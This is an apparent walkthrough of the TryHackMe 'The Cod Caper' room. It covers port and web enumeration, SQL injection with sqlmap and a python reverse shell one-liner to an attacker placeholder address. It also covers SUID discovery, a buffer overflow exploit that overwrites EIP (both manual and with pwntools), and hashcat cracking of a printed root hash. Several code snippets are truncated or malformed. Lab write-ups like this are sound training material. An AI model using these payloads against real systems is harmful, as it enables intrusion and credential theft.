Tryhackme:The Cod Caper

A guided room taking you through infiltrating and exploiting a Linux system.


Hello there my name is Pingu. I’ve come here to put in a request to get my fish back! My dad recently banned me from eating fish, as I wasn’t eating my vegetables. He locked all the fish in a chest, and hid the key on my old pc, that he recently repurposed into a server. As all penguins are natural experts in penetration testing, I figured I could get the key myself! Unfortunately he banned every IP from Antarctica, so I am unable to do anything to the server. Therefore I call upon you my dear ally to help me get my fish back! Naturally I’ll be guiding you through the process.

Note: This room expects some basic pen testing knowledge, as I will not be going over every tool in detail that is used. While you can just use the room to follow through, some interest or experiencing in assembly is highly recommended

A:no answer need

Host Enumeration:

The first step is to see what ports and services are running on the target machine.

Recommended Tool — nmap:

Useful flags:

-p=Used to specify which port to analyze, can also be used to specify a range of ports i.e -p 1-1000

-sC=Runs default scripts on the port, useful for doing basic analysis on the service running on a port
-A=Aggressive mode, go all out and try to get as much information as possible

1.How many ports are open on the target machine?


2.What is the http-title of the web server?

A: Apache2 Ubuntu Default Page: It works

3.What version is the ssh service?

A:OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

4.What is the version of the web server?


Web Enumeration:

Since the only services running are SSH and Apache, it is safe to assume that we should check out the web server first for possible vulnerabilities. One of the first things to do is to see what pages are available to access on the web server.

Recommended tool: gobuster,dirbuster,dirb

Useful flags:

  • x=Used to specify file extensions i.e “php,txt,html”
    — url=Used to specify which url to enumerate
    — wordlist=Used to specify which wordlist that is appended on the url path

1.What is the name of the important file on the server?


Web Exploitation:

The admin page seems to give us a login form. In situations like this it is always worth it to check for “low-hanging fruit”. In the case of login forms one of the first things to check for is SQL Injection.

Recommended Tool: sqlmap

Useful Flags:

-u=Specifies which url to attack
— forms=Automatically selects parameters from <form> elements on the page
— dump=Used to retrieve data from the db once SQLI is found
-a=Grabs just about everything from the db


2.What is the admin password?


3.How many forms of SQLI is the form vulnerable to?


Command Execution:

It seems we have gained the ability to run commands! Since this is my old PC, I should still have a user account! Let’s run a few test commands, and then try to gain access!

Method 1: nc Reverse shell:

This machine has been outfitted with nc, a tool that allows you to make and receive connections and send data. It is one of the most popular tools to get a reverse shell. Some great places to find reverse shell payloads are highoncoffee and Pentestmonkey

After this you will have to do some additional enumeration to find pingu’s ssh key, or hidden password

Method 2: Hidden passwords:

Assuming my father hasn’t modified since he took over my old PC, I should still have my hidden password stored somewhere,I don’t recall though so you’ll have to find it! find is the recommended tool here as it allows you to search for which files a user specifically owns.


2.Do I still have an account


3.What is my ssh password?

The next step is to have a stable shell in the system. I was having trouble using nc, but since python installed, we can use it. From your machine start listening for incoming connections.

nc -nvlp 80

From the webpage we can use the following command to start the shell.

Note Replace “IP_ADDRES” with your IP from TryHackMe.

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRES",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'



LinEnum is a bash script that searches for possible ways to priv esc. It is incredibly popular due to the sheer amount of possible methods that it checks for, and often times Linenum is one of the first things to try when you get shell access.

Methods to get Linenum on the system

Method 1: SCP

Since you have ssh access on the machine you can use SCP to copy files over. In the case of Linenum you would run scp {path to linenum} {user}@{host}:{path}. Example: scp /opt/ pingu@
would put LinEnum in /tmp.

Method 2: SimpleHTTPServer

SimpleHTTPServer is a module that hosts a basic webserver on your host machine. Assuming the machine you compromised has a way to remotely download files, you can host LinEnum and download it.

Note: There are numerous ways to do this and the two listed above are just my personal favorites.

Once You have LinEnum on the system, its as simple as running it and looking at the output above once it finishes.

The next task is to use the script LinEnum. We will use ‘scp’ to insert the script in the victim machine.

scp pingu@cod:/tmp

Once the script is executable run it.

chmod +x

From the output we can see that there is a strange suid file.

find / -perm -u=s -type f 2>/dev/null

1.What is the interesting path of the interesting suid file



Luckily for us I was able to snag a copy of the source code from my dad’s flash drive

#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
system("cat /var/backups/shadow.bak");

void get_input(){
char buffer[32];

int main(){

The SUID file seems to expect 32 characters of input, and then immediately exits. This seems to warrant further investigation. Luckily I was practicing binary exploitation back when I was using that PC, so I have tools preinstalled to examine. One of those tools is pwndbg, a plugin for GDB which allows you to better examine binary files.

Run gdb /opt/secret/root and you should see a screen similar to this

This means that pwndbg has successfully been initialized. The next step is to test if anything happens when you send more then 32 characters. To do this type r < <(cyclic 50), that command runs the program and provides 50 characters worth of "cyclic" input.

Cyclic input goes like this: “aaaaaaaabaaacaaadaaaeaaaf” etc. Because it’s in this “cyclic” format, it allows us to better understand the control we have over certain registers, for reasons you are about to see.

Once you run that command you should see something similar to this screen

Now this is where some knowledge of assembly helps. It seems that in this case we’re able to overwrite EIP, which is known as the instruction pointer. The instruction pointer tells the program which bit of memory to execute next, which in an ideal case would have the program run normally. However, since we’re able to overwrite it, we can theoretically execute any part of the program at any time.

Recall the shell function from the source code, if we can overwrite EIP to point to the shell function, we can cause it to execute. This is also where the benefits of cyclic input show themselves. Recall that cyclic input goes in 4 character/byte sequences, meaning we’re able to calculate exactly how many characters we need to provide before we can overwrite EIP.

Luckily cyclic provides this functionality with the -l flag, running cyclic -l {fault address} will tell us exactly how many characters we need to provide we can overwrite EIP.

Running cyclic -l 0x6161616c outputs 44, meaning we can overwrite EIP once we provide 44 characters of input.

That’s all we needed for pre-explotation!

1.Read the above :)

A:no answer need

Binary-Exploitaion: Manually:

Previously we figured out that we need to provide 44 characters of input, and then we can execute whatever part of the program we want. Now the next step is to find out exactly where the shell function is in memory so we know what to set EIP to. GDB supports this as well with the disassemble command. Type disassemble shell, and this should pop up.

What we’re interested in is the hex memory addresses. So from what we know all we have to do is provide 44 characters, and then “0x080484cb” and the shell function should execute, let’s try it!

Note: Modern CPU architectures are “little endian” meaning bytes are backwards. For example “0x080484cb” would become “cb840408”

We can use python to do this, as it allows a nice way of converting.

Method 1 — Manual conversion:

python -c 'print "A"*44 + "\xcb\x84\x04\x08"' will output the payload we want, but it requires manually converting to little endian

Method 2 — Struct:

python -c 'import struct;print "A"*44 + struct.pack("<I",0x080484cb)'

It requires importing a module but struct.pack allows us to automatically convert memory to little endian.

We print 44 random characters(in this case A) and then our memory address in little endian, and shell should execute. This can be tested by piping the output in to the binary

python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/rootshould provide you with this output.

We did it!


A:no answer need

Binary Exploitation: The pwntools way:

Pwntools is a python library dedicated to making everything we just did in the last task much simpler. However, since it is a library, it requires python knowledge to use to it’s full potential, and as such everything in this task will be done using a python script.

We start off the script with:

from pwn import *
proc = process('/opt/secret/root')

This imports all the utilities from the pwntools library so we can use them in our script, and then creates a process that we can interact with using pwntools functions.

We know that we need the memory address of the shell function, and pwntools provides a way to obtain that with ELF().

ELF allows us to get various memory addresses of important points in our binary, including the memory address of the shell function.

With the ELF addition our script becomes

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func =

shell_func holds the memory address of our shell function. Now we need a way to form the payload, luckily pwntools has that to with fit().

fit allows us to form a payload by combining characters and our memory address. To send the payload we can use a method in our proc variable, proc.sendline(), which just sends whatever data we want to the binary. Finally we can use proc.interactive(), to view the full output of the process.

With all that our final exploit script becomes

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func =
payload = fit({
44: shell_func # this adds the value of shell_func after 44 characters

Save that to a .py file and run it, and you should get this output:

We did it again!

Even more woohoo!

A:no naswer need

Finishing the job:

Now that we have the password hashes, we can crack them and get the root password! Recall from the previous outputs that our root password hash is “$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.".

Luckily hashcat supports cracking linux password hashes. You can find a list of hashcat modes here and rockyou.txt(a popular wordlist) here (if you don’t already have it on your system)

Recommended tool — Hashcat:

Usage: hashcat {flags} {hashfile} {wordlist}

Useful flags:

-a=Specify attack mode,attack modes can be found in the man page.
-m=Specifies which mode to use, refer back to the list of modes

hashcat -a 0 -m 1800 hash.txt rockyou.txt

1.What is the root password!



Now that I have the root password, I can get any fish he attempts to hide from me :).

Further reading:

please everyone join my telegram channel :

please everyone join my youtube channel :

Change the world